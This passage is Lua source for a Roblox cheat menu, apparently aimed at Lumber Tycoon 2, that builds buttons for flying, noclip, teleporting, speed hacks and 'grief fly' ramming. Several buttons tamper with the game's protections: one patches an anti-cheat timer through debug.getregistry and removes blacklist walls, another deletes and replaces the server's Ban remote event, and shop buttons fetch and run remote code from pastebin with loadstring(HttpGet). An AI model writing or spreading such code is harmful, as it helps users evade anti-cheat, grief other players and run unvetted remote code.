- Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
- Humanoid.WalkSpeed = _G.WS;
- end)
- Humanoid.WalkSpeed = _G.WS;
- walkspeedenabled = false
- end
- end
- end
- walkspeedmouse.KeyDown:connect(x_walkspeed)
- end)
- AntiBlack.Name = "AntiBlackLabel"
- AntiBlack.Parent = toolaFrame
- AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiBlack.BorderColor3 = Color3.new(0, 0, 0)
- AntiBlack.Position = UDim2.new(0, 3, 0, 49)
- AntiBlack.Size = UDim2.new(0, 165, 0, 20)
- AntiBlack.Font = Enum.Font.Fantasy
- AntiBlack.FontSize = Enum.FontSize.Size18
- AntiBlack.Text = "Anti Black List (OFF)"
- AntiBlack.TextColor3 = Color3.new(255, 0, 0)
- AntiBlack.TextSize = 15
- AntiBlack.MouseButton1Click:connect(function()
- AntiBlack.TextColor3 = Color3.new(1, 1, 1)
- AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiBlack.Text = "Anti Black List (ON)"
- local plr = game.Players.LocalPlayer
- local cframe
- for i,v in next, workspace:GetDescendants() do
- if v:IsA("SpawnLocation") then
- v.Touched:Connect(function(h)
- if h.Parent == plr.Character and cframe then
- plr.Character:SetPrimaryPartCFrame(cframe)
- end
- end)
- end
- end
- game:GetService("RunService"):BindToRenderStep("NO HACKS",Enum.RenderPriority.Last.Value,function()
- if game.Players.LocalPlayer.Character.PrimaryPart then
- cframe = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
- end
- end)
- for i,v in next, debug.getregistry() do
- if type(v)=='function' and debug.getupvalues(v).lastUpdate then
- debug.setupvalue(v,"lastUpdate",math.huge)
- break
- end
- end
- for i,v in next, workspace.Effects:GetChildren() do
- if v:IsA("BasePart") and v.Name == "BlacklistWall" then
- v:Destroy()
- end
- end
- end)
- GriefFly.Name = "GriefFly"
- GriefFly.Parent = toolaFrame
- GriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
- GriefFly.BorderColor3 = Color3.new(0, 0, 0)
- GriefFly.Position = UDim2.new(0, 3, 0, 72)
- GriefFly.Size = UDim2.new(0, 110, 0, 20)
- GriefFly.Font = Enum.Font.Fantasy
- GriefFly.FontSize = Enum.FontSize.Size18
- GriefFly.Text = "Grief Fly Off "
- GriefFly.TextColor3 = Color3.new(255, 0, 0)
- GriefFly.TextSize = 15
- GriefFly.MouseButton1Click:connect(function()
- GriefFly.Text = "Grief Fly On "
- GriefFly.TextColor3 = Color3.new(1, 1, 1)
- StopGriefFly.Text = "Stop Fly"
- Speed = 2
- Force = 800000
- --Script:
- lplayer = game:GetService("Players").LocalPlayer
- Mouse = lplayer:GetMouse()
- speedfly = Speed
- T = lplayer.Character.HumanoidRootPart
- CONTROL = {F = 0, B = 0, L = 0, R = 0}
- lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- local function fly()
- flying = true
- local BG = Instance.new('BodyGyro', T)
- local BV = Instance.new('BodyVelocity', T)
- BG.P = 9e4
- BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- BG.cframe = T.CFrame
- BV.velocity = Vector3.new(0, 0.1, 0)
- BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
- spawn(function()
- repeat wait()
- lplayer.Character.Humanoid.PlatformStand = true
- if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
- SPEED = 50
- elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
- SPEED = 0
- end
- if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
- BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
- elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
- BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- else
- BV.velocity = Vector3.new(0, 0.1, 0)
- end
- BG.cframe = workspace.CurrentCamera.CoordinateFrame
- until not flying
- CONTROL = {F = 0, B = 0, L = 0, R = 0}
- lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- SPEED = 0
- BG:destroy()
- BV:destroy()
- lplayer.Character.Humanoid.PlatformStand = false
- end)
- end
- Mouse.KeyDown:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = speedfly
- elseif KEY:lower() == 's' then
- CONTROL.B = -speedfly
- elseif KEY:lower() == 'a' then
- CONTROL.L = -speedfly
- elseif KEY:lower() == 'd' then
- CONTROL.R = speedfly
- end
- end)
- Mouse.KeyUp:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 0
- elseif KEY:lower() == 's' then
- CONTROL.B = 0
- elseif KEY:lower() == 'a' then
- CONTROL.L = 0
- elseif KEY:lower() == 'd' then
- CONTROL.R = 0
- end
- end)
- fly()
- -- Made by JackMcJagger15
- power = Force -- change this to make it more or less powerful
- game:GetService('RunService').Stepped:connect(function()
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.Torso.CanCollide = false
- game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
- game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
- end)
- wait(.1)
- local bambam = Instance.new("BodyThrust")
- bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
- bambam.Force = Vector3.new(power,0,power)
- bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
- while wait(0.2) do
- game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:connect(function()
- script:Remove()
- end)
- end
- end)
- StopGriefFly.Name = "StopGriefFly"
- StopGriefFly.Parent = toolaFrame
- StopGriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
- StopGriefFly.BorderColor3 = Color3.new(0, 0, 0)
- StopGriefFly.Position = UDim2.new(0, 117, 0, 72)
- StopGriefFly.Size = UDim2.new(0, 51, 0, 20)
- StopGriefFly.Font = Enum.Font.Fantasy
- StopGriefFly.FontSize = Enum.FontSize.Size18
- StopGriefFly.Text = "Stop Fly"
- StopGriefFly.TextColor3 = Color3.new(255, 0, 0)
- StopGriefFly.TextSize = 15
- StopGriefFly.MouseButton1Click:connect(function()
- GriefFly.TextColor3 = Color3.new(1, 1, 1)
- active = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:Remove()
- if flying then
- end
- GriefFly.Text = "Grief Fly Off "
- StopGriefFly.Text = "Press Fly"
- GriefFly.TextColor3 = Color3.new(255, 0, 0)
- end)
- Fly.Name = "Fly"
- Fly.Parent = toolaFrame
- Fly.BackgroundColor3 = Color3.new(0, 0, 0)
- Fly.BorderColor3 = Color3.new(0, 0, 0)
- Fly.Position = UDim2.new(0, 3, 0, 95)
- Fly.Size = UDim2.new(0, 165, 0, 20)
- Fly.Font = Enum.Font.Fantasy
- Fly.FontSize = Enum.FontSize.Size18
- Fly.Text = "Fly (Press again to STOP)"
- Fly.TextColor3 = Color3.new(255, 0, 0)
- Fly.TextSize = 15
- Fly.MouseButton1Down:connect(function()
- flying = not flying
- repeat wait()
- until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local mouse = game.Players.LocalPlayer:GetMouse()
- repeat wait() until mouse
- local plr = game.Players.LocalPlayer
- local torso = plr.Character.Torso
- local deb = true
- local ctrl = {f = 0, b = 0, l = 0, r = 0}
- local lastctrl = {f = 0, b = 0, l = 0, r = 0}
- local maxspeed = 200
- local speed = 0
- if flying then
- end
- function FlyFunction()
- local bg = Instance.new("BodyGyro", torso)
- bg.P = 9e4
- bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- bg.cframe = torso.CFrame
- local bv = Instance.new("BodyVelocity", torso)
- bv.velocity = Vector3.new(0,0.1,0)
- bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
- repeat wait()
- plr.Character.Humanoid.PlatformStand = true
- if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
- speed = speed+.5+(speed/maxspeed)
- if speed > maxspeed then
- speed = maxspeed
- end
- elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
- speed = speed-1
- if speed < 0 then
- speed = 0
- end
- end
- if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
- elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- else
- bv.velocity = Vector3.new(0,0.1,0)
- end
- bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
- until not flying
- ctrl = {f = 0, b = 0, l = 0, r = 0}
- lastctrl = {f = 0, b = 0, l = 0, r = 0}
- speed = 0
- bg:Destroy()
- bv:Destroy()
- plr.Character.Humanoid.PlatformStand = false
- end
- mouse.KeyDown:connect(function(key)
- if key:lower() == "w" then
- ctrl.f = 1
- elseif key:lower() == "s" then
- ctrl.b = -1
- elseif key:lower() == "a" then
- ctrl.l = -1
- elseif key:lower() == "d" then
- ctrl.r = 1
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key:lower() == "w" then
- ctrl.f = 0
- elseif key:lower() == "s" then
- ctrl.b = 0
- elseif key:lower() == "a" then
- ctrl.l = 0
- elseif key:lower() == "d" then
- ctrl.r = 0
- end
- end)
- FlyFunction()
- end)
- PinkWires.Name = "PinkWires"
- PinkWires.Parent = toolaFrame
- PinkWires.BackgroundColor3 = Color3.new(0, 0, 0)
- PinkWires.BorderColor3 = Color3.new(0, 0, 0)
- PinkWires.Position = UDim2.new(0, 3, 0, 118)
- PinkWires.Size = UDim2.new(0, 165, 0, 20)
- PinkWires.Font = Enum.Font.Fantasy
- PinkWires.FontSize = Enum.FontSize.Size18
- PinkWires.Text = "Pink Wires"
- PinkWires.TextColor3 = Color3.new(255, 0, 0)
- PinkWires.TextSize = 15
- PinkWires.MouseButton1Click:connect(function()
- local typecurrent = false
- if typecurrent == true then
- typecurrent = false
- PinkWires.TextColor3 = Color3.new(0.666667, 0, 0)
- PinkWires.Text = "Pink Wires: Magenta Icicle"
- local c = game.ReplicatedStorage.Purchasables:FindFirstChild("IcicleWireMagenta", true)
- c.Name = "Wire"
- local d = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
- d:Destroy()
- elseif typecurrent == false then
- typecurrent = true
- PinkWires.TextColor3 = Color3.new(1, 1, 1)
- PinkWires.Text = "Pink Wires: Active"
- local a = game.ReplicatedStorage.Purchasables:FindFirstChild("NeonWirePinky", true)
- a.Name = "Wire"
- local b = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
- b:Destroy()
- end
- end)
- WaterCollide.Name = "WaterCollide"
- WaterCollide.Parent = toolaFrame
- WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
- WaterCollide.BorderColor3 = Color3.new(0, 0, 0)
- WaterCollide.Position = UDim2.new(0, 3, 0, 141)
- WaterCollide.Size = UDim2.new(0, 165, 0, 20)
- WaterCollide.Font = Enum.Font.Fantasy
- WaterCollide.FontSize = Enum.FontSize.Size18
- WaterCollide.Text = "Walk On Water"
- WaterCollide.TextColor3 = Color3.new(255, 0, 0)
- WaterCollide.TextSize = 15
- WaterCollide.MouseButton1Down:connect(function()
- if WCollide == "Nothing" then
- WCollide = "On"
- WaterCollide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- WaterCollide.TextColor3 = Color3.new(1, 1, 1)
- WaterCollide.Text = "Water Is Solid"
- game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
- Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
- for i,v in pairs(game.Workspace.Water:GetChildren()) do
- if v:IsA("Part") then
- v.CanCollide = true
- end
- end
- else
- WCollide = "Nothing"
- WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
- WaterCollide.TextColor3 = Color3.new(255, 0, 0)
- WaterCollide.Text = "Walk On Water"
- for i,v in pairs(game.Workspace.Water:GetChildren()) do
- if v:IsA("Part") then
- v.CanCollide = false
- end
- end
- end
- end)
- ClickTP.Name = "ClickTP"
- ClickTP.Parent = toolaFrame
- ClickTP.BackgroundColor3 = Color3.new(0, 0, 0)
- ClickTP.BorderColor3 = Color3.new(0, 0, 0)
- ClickTP.Position = UDim2.new(0, 3, 0, 164)
- ClickTP.Size = UDim2.new(0, 165, 0, 20)
- ClickTP.Font = Enum.Font.Fantasy
- ClickTP.FontSize = Enum.FontSize.Size18
- ClickTP.Text = "ClickTP"
- ClickTP.TextColor3 = Color3.new(255, 0, 0)
- ClickTP.TextSize = 15
- ClickTP.MouseButton1Click:Connect(function()
- mouse = game.Players.LocalPlayer:GetMouse()
- tool = Instance.new("Tool")
- tool.RequiresHandle = false
- tool.Name = "Click Teleport"
- tool.Activated:connect(function()
- local pos = mouse.Hit+Vector3.new(0,2.5,0)
- pos = CFrame.new(pos.X,pos.Y,pos.Z)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
- end)
- tool.Parent = game.Players.LocalPlayer.Backpack
- end)
- Noclip.Name = "Noclip"
- Noclip.Parent = toolaFrame
- Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
- Noclip.BorderColor3 = Color3.new(0, 0, 0)
- Noclip.Position = UDim2.new(0, 3, 0, 187)
- Noclip.Size = UDim2.new(0, 165, 0, 20)
- Noclip.Font = Enum.Font.Fantasy
- Noclip.FontSize = Enum.FontSize.Size18
- Noclip.Text = "No clip"
- Noclip.TextColor3 = Color3.new(255, 0, 0)
- Noclip.TextSize = 15
- noclip = false
- game:GetService('RunService').Stepped:connect(function()
- if noclip then
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
- Noclip.TextColor3 = Color3.new(1, 1, 1)
- Noclip.Text = "No Clip On"
- end
- end)
- Noclip.MouseButton1Down:connect(function()
- noclip = not noclip
- Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
- Noclip.TextColor3 = Color3.new(255, 0, 0)
- Noclip.Text = "No Clip Off"
- end)
- AntiAFK.Name = "AntiAFK"
- AntiAFK.Parent = toolaFrame
- AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiAFK.BorderColor3 = Color3.new(0, 0, 0)
- AntiAFK.Position = UDim2.new(0, 3, 0, 233)
- AntiAFK.Size = UDim2.new(0, 165, 0, 20)
- AntiAFK.Font = Enum.Font.Fantasy
- AntiAFK.FontSize = Enum.FontSize.Size18
- AntiAFK.Text = "Start Anti-AFK Mode"
- AntiAFK.TextColor3 = Color3.new(255, 0, 0)
- AntiAFK.TextSize = 15
- AntiAFKtime.Name = "AntiAFKtime"
- AntiAFKtime.Parent = toolaFrame
- AntiAFKtime.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiAFKtime.BorderColor3 = Color3.new(0, 0, 0)
- AntiAFKtime.Position = UDim2.new(0, 3, 0, 210)
- AntiAFKtime.Size = UDim2.new(0, 165, 0, 20)
- AntiAFKtime.Font = Enum.Font.Fantasy
- AntiAFKtime.FontSize = Enum.FontSize.Size18
- AntiAFKtime.Text = "AFK for: 0 Seconds"
- AntiAFKtime.TextColor3 = Color3.new(255, 0, 0)
- AntiAFKtime.TextSize = 15
- AntiAFK.MouseButton1Down:Connect(function()
- if afkactive == true then
- afkactive = false
- AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
- AntiAFK.Text = "Start Anti-AFK Mode"
- elseif afkactive == false then
- afkactive = true
- AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
- AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
- AntiAFK.Text = "Stop Anti-AFK Mode"
- logtime = coroutine.wrap(function()
- afktotaltime=0
- while afkactive == true do
- wait(1)
- afktotaltime=afktotaltime+1
- AntiAFKtime.Text = "AFK for: "..afktotaltime.." Seconds"
- end
- end)
- messageBot = coroutine.wrap(function()
- while afkactive == true do
- wait(900)
- possiblechats = {"afk", "brb", "I'm AFK"}
- decide=math.random(1,#possiblechats)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(possiblechats[decide], "All")
- game.Players:Chat("/e point")
- end
- end)
- moveChar = coroutine.wrap(function()
- plr = game:service'Players'.LocalPlayer
- char = plr.Character
- hum = char:FindFirstChildOfClass'Humanoid'
- while afkactive==true do
- wait(1)
- hum:Move(Vector3.new(1, 0, 0), false)
- wait(1)
- hum:Move(Vector3.new(-1, 0, 0), false)
- wait(1)
- hum:Move(Vector3.new(1, 0, 0), false)
- wait(1)
- hum:Move(Vector3.new(-1, 0, 0), false)
- wait(1)
- hum:Move(Vector3.new(0, 1, 0), false)
- wait(1)
- hum:Move(Vector3.new(0, 1, 0), false)
- wait(60)
- end
- end)
- logtime()
- moveChar()
- messageBot()
- end
- end)
- Fog.Name = "Fog"
- Fog.Parent = toolaFrame
- Fog.BackgroundColor3 = Color3.new(0, 0, 0)
- Fog.BorderColor3 = Color3.new(0, 0, 0)
- Fog.Position = UDim2.new(0, 3, 0, 256)
- Fog.Size = UDim2.new(0, 165, 0, 20)
- Fog.Font = Enum.Font.Fantasy
- Fog.FontSize = Enum.FontSize.Size18
- Fog.Text = "Remove Fog"
- Fog.TextColor3 = Color3.new(255, 0, 0)
- Fog.TextSize = 15
- Fog.MouseButton1Down:connect(function()
- Fog.BackgroundColor3 = Color3.new(0, 0, 0)
- Fog.TextColor3 = Color3.new(1, 1, 1)
- game.Lighting.Changed:connect(function()
- game.Lighting.TimeOfDay = "12:00:00"
- game.Lighting.FogEnd = 9999
- game.Lighting.Brightness = 2
- end)
- end)
- CARAs.Name = "CARAs"
- CARAs.Parent = toolaFrame
- CARAs.BackgroundColor3 = Color3.new(0, 0, 0)
- CARAs.BorderColor3 = Color3.new(0, 0, 0)
- CARAs.Position = UDim2.new(0, 147, 0, 279)
- CARAs.Size = UDim2.new(0, 21, 0, 20)
- CARAs.Font = Enum.Font.Fantasy
- CARAs.FontSize = Enum.FontSize.Size18
- CARAs.Text = "S"
- CARAs.TextColor3 = Color3.new(255, 0, 0)
- CARAs.TextSize = 15
- CARA.Name = "CARA"
- CARA.Parent = toolaFrame
- CARA.BackgroundColor3 = Color3.new(0, 0, 0)
- CARA.BorderColor3 = Color3.new(0, 0, 0)
- CARA.Position = UDim2.new(0, 3, 0, 279)
- CARA.Size = UDim2.new(0, 140, 0, 20)
- CARA.Font = Enum.Font.Fantasy
- CARA.FontSize = Enum.FontSize.Size18
- CARA.Text = "Fast Car"
- CARA.TextColor3 = Color3.new(255, 0, 0)
- CARA.TextSize = 15
- CARA.MouseButton1Down:connect(function()
- CARA.BackgroundColor3 = Color3.new(0, 0, 0)
- CARA.TextColor3 = Color3.new(1, 1, 1)
- game.Workspace.PlayerModels.ChildAdded:connect(function(ADDED)
- wait(0.5)
- if ADDED:FindFirstChild('Configuration') then
- if ADDED.Configuration:FindFirstChild('MaxSpeed') then
- ADDED.Configuration.MaxSpeed.Value = CARAs.Text
- end
- end
- end)
- end)
- RemoveT.Name = "RemoveT"
- RemoveT.Parent = toolaFrame
- RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
- RemoveT.BorderColor3 = Color3.new(0, 0, 0)
- RemoveT.Position = UDim2.new(0, 3, 0, 302)
- RemoveT.Size = UDim2.new(0, 165, 0, 20)
- RemoveT.Font = Enum.Font.Fantasy
- RemoveT.FontSize = Enum.FontSize.Size18
- RemoveT.Text = "Remove Trees"
- RemoveT.TextColor3 = Color3.new(255, 0, 0)
- RemoveT.TextSize = 15
- RemoveT.MouseButton1Down:connect(function()
- RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
- RemoveT.TextColor3 = Color3.new(1, 1, 1)
- for i,v in pairs(game.Workspace:GetDescendants()) do
- if v.Name == "WoodSection" and v.Parent:FindFirstChild("CutEvent") then
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(v.Parent)
- game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v.Parent)
- end
- end
- game.Workspace.DescendantAdded:connect(function(Thing)
- wait(0.1)
- if Thing.Name == "WoodSection" and Thing.Parent:FindFirstChild("CutEvent") then
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Thing.Parent)
- game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(Thing.Parent)
- end
- end)
- end)
- ReJoinServer.Name = "ReJoinServer"
- ReJoinServer.Parent = toolaFrame
- ReJoinServer.BackgroundColor3 = Color3.new(0, 0, 0)
- ReJoinServer.BorderColor3 = Color3.new(0, 0, 0)
- ReJoinServer.Position = UDim2.new(0, 3, 0, 325)
- ReJoinServer.Size = UDim2.new(0, 165, 0, 20)
- ReJoinServer.Font = Enum.Font.Fantasy
- ReJoinServer.FontSize = Enum.FontSize.Size18
- ReJoinServer.Text = "ReJoin Server"
- ReJoinServer.TextColor3 = Color3.new(255, 0, 0)
- ReJoinServer.TextSize = 15
- ReJoinServer.MouseButton1Down:connect(function()
- local placeId = "13822889"
- game:GetService("TeleportService"):Teleport(placeId)
- end)
- Reset.Name = "Reset"
- Reset.Parent = toolaFrame
- Reset.BackgroundColor3 = Color3.new(0, 0, 0)
- Reset.BorderColor3 = Color3.new(0, 0, 0)
- Reset.Position = UDim2.new(0, 3, 0, 348)
- Reset.Size = UDim2.new(0, 165, 0, 20)
- Reset.Font = Enum.Font.Fantasy
- Reset.FontSize = Enum.FontSize.Size18
- Reset.Text = "Reset Character"
- Reset.TextColor3 = Color3.new(255, 0, 0)
- Reset.TextSize = 15
- Reset.MouseButton1Click:connect(function()
- game.Players.LocalPlayer.Character.Head:Destroy()
- end)
- local BuyFrame = Instance.new("Frame")
- local Buymenu = Instance.new("ImageButton")
- local bcps = Instance.new("TextButton")
- local lshop = Instance.new("TextButton")
- local fshop = Instance.new("TextButton")
- local wrus = Instance.new("TextButton")
- local bp = Instance.new("TextButton")
- local ls = Instance.new("TextButton")
- Buymenu.Name = "Buymenu"
- Buymenu.Parent = Picker
- Buymenu.BackgroundColor3 = Color3.new(1, 1, 1)
- Buymenu.BorderColor3 = Color3.new(0, 0, 0)
- Buymenu.Position = UDim2.new(0, 15, 0,515)
- Buymenu.Size = UDim2.new(0, 80, 0, 80)
- Buymenu.ZIndex = 3
- Buymenu.Image = "rbxassetid://3936608288"
- Buymenu.ScaleType = Enum.ScaleType.Crop
- Buymenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = true
- AIntroImage1.Visible = true
- end)
- BuyFrame.Name = "BuyFrame"
- BuyFrame.Parent = MenuFrame
- BuyFrame.BorderSizePixel = 1
- BuyFrame.BackgroundTransparency = 0
- BuyFrame.BorderColor3 = Color3.new(0, 0, 0)
- BuyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- BuyFrame.Size = UDim2.new(0, 170, 0, 120)
- BuyFrame.Visible = false
- wrus.Name = "wrus"
- wrus.Parent = BuyFrame
- wrus.BackgroundColor3 = Color3.new(0, 0, 0)
- wrus.BorderColor3 = Color3.new(0, 0, 0)
- wrus.Position = UDim2.new(0, 3, 0, 3)
- wrus.Size = UDim2.new(0, 164, 0, 20)
- wrus.Font = Enum.Font.Fantasy
- wrus.FontSize = Enum.FontSize.Size18
- wrus.Text = "Wod R Us"
- wrus.TextColor3 = Color3.new(255, 0, 0)
- wrus.TextSize = 15
- wrus.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/fKZ8uQjD',true))()
- end)
- fshop.Name = "fshop"
- fshop.Parent = BuyFrame
- fshop.BackgroundColor3 = Color3.new(0, 0, 0)
- fshop.BorderColor3 = Color3.new(0, 0, 0)
- fshop.Position = UDim2.new(0, 3, 0, 26)
- fshop.Size = UDim2.new(0, 164, 0, 20)
- fshop.Font = Enum.Font.Fantasy
- fshop.FontSize = Enum.FontSize.Size18
- fshop.Text = "Furniture Store"
- fshop.TextColor3 = Color3.new(255, 0, 0)
- fshop.TextSize = 15
- fshop.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/S9SYLmVx',true))()
- end)
- bcps.Name = "bcps"
- bcps.Parent = BuyFrame
- bcps.BackgroundColor3 = Color3.new(0, 0, 0)
- bcps.BorderColor3 = Color3.new(0, 0, 0)
- bcps.Position = UDim2.new(0, 3, 0, 49)
- bcps.Size = UDim2.new(0, 164, 0, 20)
- bcps.Font = Enum.Font.Fantasy
- bcps.FontSize = Enum.FontSize.Size18
- bcps.Text = "Bobs, Car, Pics"
- bcps.TextColor3 = Color3.new(255, 0, 0)
- bcps.TextSize = 15
- bcps.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/nG51TnbL',true))()
- end)
- ls.Name = "ls"
- ls.Parent = BuyFrame
- ls.BackgroundColor3 = Color3.new(0, 0, 0)
- ls.BorderColor3 = Color3.new(0, 0, 0)
- ls.Position = UDim2.new(0, 3, 0, 72)
- ls.Size = UDim2.new(0, 164, 0, 20)
- ls.Font = Enum.Font.Fantasy
- ls.FontSize = Enum.FontSize.Size18
- ls.Text = "Logic Store"
- ls.TextColor3 = Color3.new(255, 0, 0)
- ls.TextSize = 15
- ls.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/eCtaBT4h',true))()
- end)
- bp.Name = "bp"
- bp.Parent = BuyFrame
- bp.BackgroundColor3 = Color3.new(0, 0, 0)
- bp.BorderColor3 = Color3.new(0, 0, 0)
- bp.Position = UDim2.new(0, 3, 0, 96)
- bp.Size = UDim2.new(0, 164, 0, 20)
- bp.Font = Enum.Font.Fantasy
- bp.FontSize = Enum.FontSize.Size18
- bp.Text = "Blue Prints"
- bp.TextColor3 = Color3.new(255, 0, 0)
- bp.TextSize = 15
- bp.MouseButton1Click:connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/4MCbKXUs',true))()
- end)
- local LT2GUI2Frame = Instance.new("Frame")
- local Btoolamenu = Instance.new("ImageButton")
- local FunStuffHOVER = Instance.new("TextButton")
- local FunStuffTHOMAS = Instance.new("TextButton")
- local FunStuffPOLICE = Instance.new("TextButton")
- local FunStuffSPRAY = Instance.new("TextButton")
- local FunStuffCOCA = Instance.new("TextButton")
- local FunStuffLEAKED = Instance.new("TextButton")
- local FunStuffFLASH = Instance.new("TextButton")
- local FunStuffReset = Instance.new("TextButton")
- Btoolamenu.Name = "Btoolamenu"
- Btoolamenu.Parent = Picker
- Btoolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
- Btoolamenu.BorderColor3 = Color3.new(0, 0, 0)
- Btoolamenu.Position = UDim2.new(0, 15, 0,600)
- Btoolamenu.Size = UDim2.new(0, 80, 0, 80)
- Btoolamenu.ZIndex = 3
- Btoolamenu.Image = "rbxassetid://3953123880"
- Btoolamenu.ScaleType = Enum.ScaleType.Crop
- Btoolamenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = true
- AIntroImage1.Visible = true
- end)
- LT2GUI2Frame.Name = "LT2GUI2Frame"
- LT2GUI2Frame.Parent = MenuFrame
- LT2GUI2Frame.BorderSizePixel = 1
- LT2GUI2Frame.BackgroundTransparency = 0
- LT2GUI2Frame.BorderColor3 = Color3.new(0, 0, 0)
- LT2GUI2Frame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- LT2GUI2Frame.Size = UDim2.new(0, 170, 0, 186)
- LT2GUI2Frame.Visible = false
- FunStuffHOVER.Name = "FunStuffHOVER"
- FunStuffHOVER.Parent = LT2GUI2Frame
- FunStuffHOVER.BackgroundColor3 = Color3.new(0, 0, 0)
- FunStuffHOVER.BorderColor3 = Color3.new(0, 0, 0)
- FunStuffHOVER.Position = UDim2.new(0, 3, 0, 3)
- FunStuffHOVER.Size = UDim2.new(0, 165, 0, 20)
- FunStuffHOVER.Font = Enum.Font.Fantasy
- FunStuffHOVER.FontSize = Enum.FontSize.Size18
- FunStuffHOVER.Text = "Hover Board"
- FunStuffHOVER.TextColor3 = Color3.new(255, 0, 0)
- FunStuffHOVER.TextSize = 15
